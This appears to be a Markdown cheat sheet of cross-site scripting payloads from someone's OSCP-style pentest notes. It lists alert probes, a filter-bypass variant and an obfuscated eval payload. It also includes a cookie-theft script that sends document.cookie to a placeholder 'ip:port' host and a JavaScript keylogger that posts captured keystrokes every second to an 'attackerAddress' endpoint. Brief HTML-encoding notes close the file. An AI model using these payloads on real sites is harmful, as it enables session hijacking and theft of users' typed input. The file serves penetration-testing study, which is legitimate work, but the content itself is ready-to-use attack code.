Files
oscp/Necronomicon/Attacks/Web Exploitation/XSS.md
T
2025-11-21 17:17:42 +01:00

34 lines
981 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
- Various XSS payloads
- `<img src='LINK' onmouseover="alert('xss')">`
- `<img src=x onerror=alert(1)>`
- `<img \x00src=x onerror="alert(1)">` - Possible filter bypass
- `<object data=javascript:alert(1)>`
- `<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>`
- `<image src="javascript:alert(1)">`
- `<body oninput=javascript:alert(1)><input autofocus>`
- Cookie Theft
- `<script>document.location='http://ip:port/?='+document.cookie;</script>`
- Keylogger
```HTML
<script>
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http**s**://**attackerAddress**/**kl**.php?c='+keys;
keys = '';
}, 1000);
</script>
```
- HTML encoding
- < encoded to &lt;
- > encoded to &gt;
- encoded to &apos;
- “ encoded to &quot;
- & encoded to &amp;